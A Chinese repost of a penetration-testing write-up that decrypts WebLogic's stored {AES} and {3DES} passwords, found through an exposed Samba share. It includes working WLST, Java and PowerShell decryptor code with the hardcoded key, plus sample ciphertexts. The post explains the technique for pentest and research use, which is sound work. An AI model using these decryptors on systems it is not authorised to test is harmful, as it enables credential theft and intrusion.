欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

解密WebLogic的密码

程序员文章站 2022-03-16 11:46:39
最近我在渗透测试的时候遇到几个Linux服务器,上面有公众可访问的Samba共享。很多时候共享文件里都会有些有意思的东西,无论是用户的认证信息或者敏感文件对我们都会有帮助。这次我在...

最近我在渗透测试的时候遇到几个Linux服务器,上面有公众可访问的Samba共享。很多时候共享文件里都会有些有意思的东西,无论是用户的认证信息或者敏感文件对我们都会有帮助。这次我在共享文件夹里找到了一个名为“wls1035”的文件夹。在我仔细的翻了整个文件夹后,我发现他是一个WebLogic 服务器。

 

WebLogic是Oracle出品的一个跑java的应用服务器,我对WebLogic了解的不是太多,我在企业的环境中见过,但是我没有仔细的查看过他的文件结构。我试着找一些敏感的信息。

 

user@box:~/wls1035# grep -R "password" *
Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches
oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom:    <!-- and password for your server here. -->
user_projects/domains/mydomain/bin/startManagedWebLogic.sh:#  to your system password for no username and password prompt 
user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW         - cleartext password for server shutdown
user_projects/domains/mydomain/bin/stopWebLogic.sh:     if [ "${password}" != "" ] ; then
user_projects/domains/mydomain/bin/stopWebLogic.sh:              wlsPassword="${password}"
user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" >>"shutdown-${SERVER_NAME}.py" 
user_projects/domains/mydomain/bin/startWebLogic.sh:    JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}"
user_projects/domains/mydomain/bin/startWebLogic.sh:echo "*  password assigned to an admin-level user.  For *"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:    if [ -n "$username" -a -n "$password" ]; then
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       print_info "Investigating username: '$username' and password: '$password'"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$password" >>"$NMBootFile.tmp"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       unset username password
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$Password" >>"$NMBootFile.tmp"
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>
user_projects/domains/mydomain/init-info/security.xml:  <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">

 

密码不是明文显示的,而是以这种方式加密的:

 

{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=

 

我试着去找了下更多类似的密码:

 

user@box:~/wls1035# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>
user_projects/domains/mydomain/init-info/security.xml:  <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">
user_projects/domains/mydomain/init-info/security.xml:  <user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A=">
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts=
user_projects/domains/mydomain/config/config.xml:    <credential-encrypted>{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL</credential-encrypted>
user_projects/domains/mydomain/config/config.xml:    <node-manager-password-encrypted>{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=</node-manager-password-encrypted>
user_projects/domains/mydomain/config/config.xml:    <credential-encrypted>{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C</credential-encrypted>

 

从前面的字符串我们大概知道密码是AES加密的,在老版本的WebLogic中,密码是3DES加密的,像这样

 

{3DES}JMRazF/vClP1WAgy1czd2Q==

 

这意味着我们一定要有解密的秘钥,为了更好的研究解密方法,我下载安装了自己的WebLogic服务器。

 

经过google我发现了一个python脚本可以很好的解密。很有意思的是WebLogic上自带了一个叫做WLST (WebLogic Scripting Tool)的脚本工具,利用该工具我们可以运行python。它包含了加密和解密的模块,我们可以运行下面的脚本来加密:

 

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt('password')
wls:/offline> print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

如果想解密,我们可以使用从这篇文章获得的python脚本来完成。

 

import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
def decrypt(agileDomain, encryptedPassword):
    agileDomainPath = os.path.abspath(agileDomain)
    encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
    password = ces.decrypt(encryptedPassword)
    print "Plaintext password is:" + password
try:
    if len(sys.argv) == 3:
        decrypt(sys.argv[1], sys.argv[2])
    else:
                   print "Please input arguments as below"
                   print "                Usage 1: java weblogic.WLST decryptWLSPwd.py  "
                   print "                Usage 2: decryptWLSPwd.cmd "
                   print "Example:"
                   print "                java weblogic.WLST decryptWLSPwd.py C:\Agile\Agile933\agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
                   print "                decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
except:
    print "Exception: ", sys.exc_info()[0]
    dumpStack()
raise

举例:

 

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST decrypt.py . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
Plaintext password is:Password1

这样子是可以解密了,但是唯一的问题是我们必须要在WebLogic相同的domain下使用它,我想可以在没有WebLogic环境的情况下来解密。

 

一探究竟

 

我首先查看了之前用于加密和解密的python脚本调用了哪些类库。

 

import weblogic.security.internal.SerializedSystemIni

import weblogic.security.internal.encryption.ClearOrEncryptedService

 

他调用了下面的界面函数:

 

encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
password = ces.decrypt(encryptedPassword)

 

第一行将domain的路径作为参数。在我们的例子中,路径为/root/wls12130/user_projects/domains/mydomain。通过weblogic.security.internal.SerializedSystemIni.getEncryptionService方法我们获得了SerializedSystemIni.dat文件,这个文件一般位于security文件夹中,里面存放了salt和和秘钥可以帮助我们加密和解密密码。

 

有了这个文件,我们便可以进行解密:

 

我写了一段java代码:

 

public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException {
byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
    byte[] salt = null;
    byte[] encryptionKey = null;
    String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56";
    char password[] = new char[key.length()];
    key.getChars(0, password.length, password, 0);
    FileInputStream is = new FileInputStream(SerializedSystemIni);
    try {
        salt = readBytes(is);
        int version = is.read();
        if (version != -1) {
            encryptionKey = readBytes(is);
            if (version >= 2) {
                encryptionKey = readBytes(is);
            }
        }
    } catch (IOException e) {
    }
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");
    PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5);
    SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec);
    PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);
    Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC");
    cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
    SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES");
    byte[] iv = new byte[16];
    System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
    byte[] encryptedPassword2 = new byte[16];
    System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);
    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
    Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
    byte[] cleartext = outCipher.doFinal(encryptedPassword2);
    return new String(cleartext, "UTF-8");
}

把SerializedSystemIni.dat文件作为第一个参数,要解密的密文作为第二个参数,执行之后成功输出了明文密码。

 

为了更好的理解,我决定不用java,所以我又用powershell编写了一段解密程序。

 

<#
    Author: Eric Gruber 2015, NetSPI
    .Synopsis
    PowerShell script to decrypt WebLogic passwords
    .EXAMPLE
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q=="
    .EXAMPLE
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="
#>
function Invoke-WebLogicPasswordDecryptor
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $true,
        Position = 0)]
        [String]
        $SerializedSystemIni,
        [Parameter(Mandatory = $true,
        Position = 0)]
        [String]
        $CipherText,
        [Parameter(Mandatory = $false,
        Position = 0)]
        [String]
        $BouncyCastle
    )
    if (!$BouncyCastle)
    {
        $BouncyCastle = '.\BouncyCastle.Crypto.dll'
    }
    Add-Type -Path $BouncyCastle
    $Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56'
    $Pass = $Pass.ToCharArray()
    if ($CipherText.StartsWith('{AES}'))
    {
        $CipherText = $CipherText.TrimStart('{AES}')
    }
    elseif ($CipherText.StartsWith('{3DES}'))
{
        $CipherText = $CipherText.TrimStart('{3DES}')
    }
    $DecodedCipherText = [System.Convert]::FromBase64String($CipherText)
    $BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite))
    $NumberOfBytes = $BinaryReader.ReadByte()
    $Salt = $BinaryReader.ReadBytes($NumberOfBytes)
    $Version = $BinaryReader.ReadByte()
    $NumberOfBytes = $BinaryReader.ReadByte()
    $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)
    if ($Version -ge 2)
    {
        $NumberOfBytes = $BinaryReader.ReadByte()
        $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)
        $ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
    }
    else
    {
        $ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
    }
    Write-Host "Password:" $ClearText
}
function Decrypt-AES
{
    param
    (
        [byte[]]
        $Salt,
        [byte[]]
        $EncryptionKey,
        [char[]]
        $Pass,
        [byte[]]
        $DecodedCipherText
    )
    $EncryptionCipher = 'AES/CBC/PKCS5Padding'
    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'
    $IV = New-Object -TypeName byte[] -ArgumentList 16
    [array]::Copy($DecodedCipherText,0,$IV, 0 ,16)
    $CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16)
    [array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16))
    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)
    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)
    $Key = $KeyCipher.DoFinal($EncryptionKey)
    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)
    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($CipherText)
    [System.Text.Encoding]::ASCII.GetString($ClearText)
}
function Decrypt-3DES
{
    param
    (
        [byte[]]
        $Salt,
        [byte[]]
        $EncryptionKey,
        [char[]]
        $Pass,
        [byte[]]
        $DecodedCipherText
    )
    $EncryptionCipher = 'DESEDE/CBC/PKCS5Padding'
    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'
    $IV = New-Object -TypeName byte[] -ArgumentList 8
    [array]::Copy($Salt,0,$IV, 0 ,4)
    [array]::Copy($Salt,0,$IV, 4 ,4)
    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)
    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)
    $Key = $KeyCipher.DoFinal($EncryptionKey)
$Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)
    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($DecodedCipherText)
    [System.Text.Encoding]::ASCII.GetString($ClearText)
}
Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor

 

下面是测试

 

PS C:\> Import-Module .\Invoke-WebLogicDecrypt.psm1
PS C:\> Invoke-WebLogicDecrypt -SerializedSystemIni "C:\SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="
Password1

 

我还添加了对于老版本的WebLogic的支持

 

最后说一个小技巧,如果你的WebLogic使用的是新版本的AES加密,你可以通过修改SerializedSystemIni.dat文件的第六个byte来更换加密方式。

 

当字符为02时,他是AES加密:

 

在WLST中的输出:

 

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt('password')
wls:/offline> print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

 

当修改为01时,他将启用3DES加密:

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
wls:/offline> pw = encrypt("Password1")
wls:/offline> print pw                 
{3DES}vNxF1kIDgtydLoj5offYBQ==